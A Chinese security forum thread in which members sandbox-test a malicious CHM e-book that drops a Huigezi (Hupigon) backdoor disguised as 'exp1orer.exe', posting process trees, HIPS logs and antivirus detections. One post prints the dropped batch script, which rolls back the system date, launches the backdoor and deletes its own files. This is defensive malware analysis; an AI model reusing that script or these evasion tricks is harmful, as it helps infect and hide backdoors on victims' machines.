QQ阅读空间里的

醉一生爱妍

exp1orer.exe..........................

卡巴8.0无视。。上报。。。

九尾野狐

电子书运行后会在 temp里创建个exe

2008-05-10 17:05:10        文件保护(创建文件)     操作:允许
进程路径:C:\WINDOWS\hh.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\MPIZK567\tbh[1].exe


提取出来后……  无法运行  提示不是有效的win32应用程序

cfans

沙盘,SSM



父级进程：
   路径： C:\WINDOWS\hh.exe
   PID: 3864
   信息： Microsoft® HTML Help Executable (Microsoft Corporation)
子级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\WINDOWS\Downloaded Program Files\tbh.exe
   命令行："C:\WINDOWS\Downloaded Program Files\tbh.exe"
----------------------------------------------------------------------------------

父级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\WINDOWS\Downloaded Program Files\tbh.exe
   PID: 3316
子级进程：
   路径： C:\WINDOWS\system32\wscript.exe
   信息： Microsoft (R) Windows Based Script Host (Microsoft Corporation)
   命令行："C:\WINDOWS\System32\WScript.exe" "C:\Program Files\Internet Explorer\1.vbs"
-------------------------------------------------------------------------------------------------------------------------
父级进程：
   路径： C:\WINDOWS\system32\wscript.exe
   PID: 4024
   信息： Microsoft (R) Windows Based Script Host (Microsoft Corporation)
子级进程：
   路径： C:\WINDOWS\system32\cmd.exe
   信息： Windows Command Processor (Microsoft Corporation)
   命令行：cmd /c ""C:\Program Files\Internet Explorer\1.bat" "
---------------------------------------------------------------------------------------------------------------------------
父级进程：
   路径： C:\WINDOWS\system32\cmd.exe
   PID: 3224
   信息： Windows Command Processor (Microsoft Corporation)
子级进程：
   路径： C:\WINDOWS\system32\ping.exe
   信息： TCP/IP Ping Command (Microsoft Corporation)
   命令行：ping -n 10 127.1
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
父级进程：
   路径： C:\WINDOWS\system32\cmd.exe
   PID: 3224
   信息： Windows Command Processor (Microsoft Corporation)
子级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\Program Files\Internet Explorer\exp1orer.exe
   命令行：exp1orer.exe
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
父级进程：
   路径： C:\WINDOWS\system32\cmd.exe
   PID: 3224
   信息： Windows Command Processor (Microsoft Corporation)
子级进程：
   路径： C:\WINDOWS\system32\ping.exe
   信息： TCP/IP Ping Command (Microsoft Corporation)
   命令行：ping -n 5 127.1
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
父级进程：
   路径： d:\Program Files\Sandboxie\Start.exe
   PID: 3792
   信息： Sandboxie Start (tzuk)
子级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\WINDOWS\G_Server1.23.exe
   命令行：C:\WINDOWS\G_Server1.23.exe

sandboxie消息
SBIE2105 成功在沙盘中启动服务 svchost
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
父级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\Program Files\Internet Explorer\exp1orer.exe
   PID: 2780
子级进程：
   路径： C:\WINDOWS\system32\cmd.exe
   信息： Windows Command Processor (Microsoft Corporation)
   命令行：cmd /c C:\WINDOWS\Delete.bAt
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
父级进程：
   路径： D:\Sandbox\nhxycfans\DefaultBox\drive\C\WINDOWS\G_Server1.23.exe
   PID: 3136
子级进程：
   路径： C:\Program Files\Internet Explorer\iexplore.exe
   信息： Internet Explorer (Microsoft Corporation)
   命令行："C:\pROGRAM fILES\iNTERNET eXPLORER\iexplore.exe"
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
G_Servicer1.23.exe 试图修改其 内存：对象：iexplore.exe

[ 本帖最后由 cfans 于 2008-5-10 17:47 编辑 ]

a256886572008

EQ沙盤測試，一隻灰鴿子！

2008-05-10 17:16:13    创建文件      操作:使用任务隔离区操作
进程路径:D:\exp1orer.exe
文件路径:C:\WINDOWS\G_Server1.23.exe
触发规则:应用程序规则->任务隔离区->D:\exp1orer.exe->*


2008-05-10 17:16:13    创建文件      操作:使用任务隔离区操作
进程路径:D:\exp1orer.exe
文件路径:C:\EQSandBox\C\WINDOWS\G_Server1.23.exe
触发规则:应用程序规则->任务隔离区->D:\exp1orer.exe->*


2008-05-10 17:16:13    修改文件      操作:使用任务隔离区操作
进程路径:D:\exp1orer.exe
文件路径:(隐藏文件)C:\EQSandBox\C\WINDOWS\G_Server1.23.exe
触发规则:应用程序规则->任务隔离区->D:\exp1orer.exe->*


2008-05-10 17:16:14    访问服务管理器      操作:使用任务隔离区操作
进程路径:D:\exp1orer.exe

触发规则:应用程序规则->任务隔离区->D:\exp1orer.exe

[ 本帖最后由 a256886572008 于 2008-5-10 17:20 编辑 ]

九尾野狐

恩 重新弄了下 可以运行


电子文档会有以下行为

2008-05-10 17:05:10        文件保护(创建文件)     操作:允许
进程路径:C:\WINDOWS\hh.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\MPIZK567\tbh[1].exe

2008-05-10 17:13:02        文件保护(修改文件)     操作:阻止
进程路径:C:\WINDOWS\hh.exe
文件路径:C:\WINDOWS\setupapi.log

2008-05-10 17:13:05        文件保护(创建文件)     操作:阻止
进程路径:C:\WINDOWS\hh.exe
文件路径:C:\WINDOWS\Downloaded Program Files\SET16.tmp

其释放到temp目录的tbh.exe会释放一个灰鸽子和bat到C:\Program Files\Internet Explorer目录

2008-05-10 17:17:24        文件保护(创建文件)     操作:允许
进程路径:F:\Once\tbh[1].exe
文件路径:C:\Program Files\Internet Explorer\exp1orer.exe

2008-05-10 17:17:24        文件保护(创建文件)     操作:允许
进程路径:F:\Once\tbh[1].exe
文件路径:C:\Program Files\Internet Explorer\1.bat

由于我没explorer  就算EQ允许了也生成不了文件…… 就没附件上传了   

1.bat内容

set date=%date%

date 2001-01-01

ping -n 10 127.1

start exp1orer.exe

ping -n 5 127.1

date %date%

del 1.bat;K.bat;1.vbs;exp1orer.exe

[ 本帖最后由 没注册 于 2008-5-10 17:25 编辑 ]

Starting the file scan:

Begin scan in 'E:\AV\exp1orer.rar'
E:\AV\exp1orer.rar
  [0] Archive type: RAR
  --> exp1orer.exe
      [DETECTION] Contains a detection pattern of the (dangerous) backdoor program BDS/Hupigon.Gen Backdoor server programs
      [NOTE]      The file was deleted!

zwl2828

2008/5/10 17:23:15        http://bbs.kafan.cn/attachment.p ... 11367//exp1orer.exe        Internet Explorer        Detected: Heur.Trojan.Generic

醉一生爱妍

我的没砍？？？？？？

ranguangning

date 2001-01-01

雨宫优子

ESS
居然……无视……灰鸽子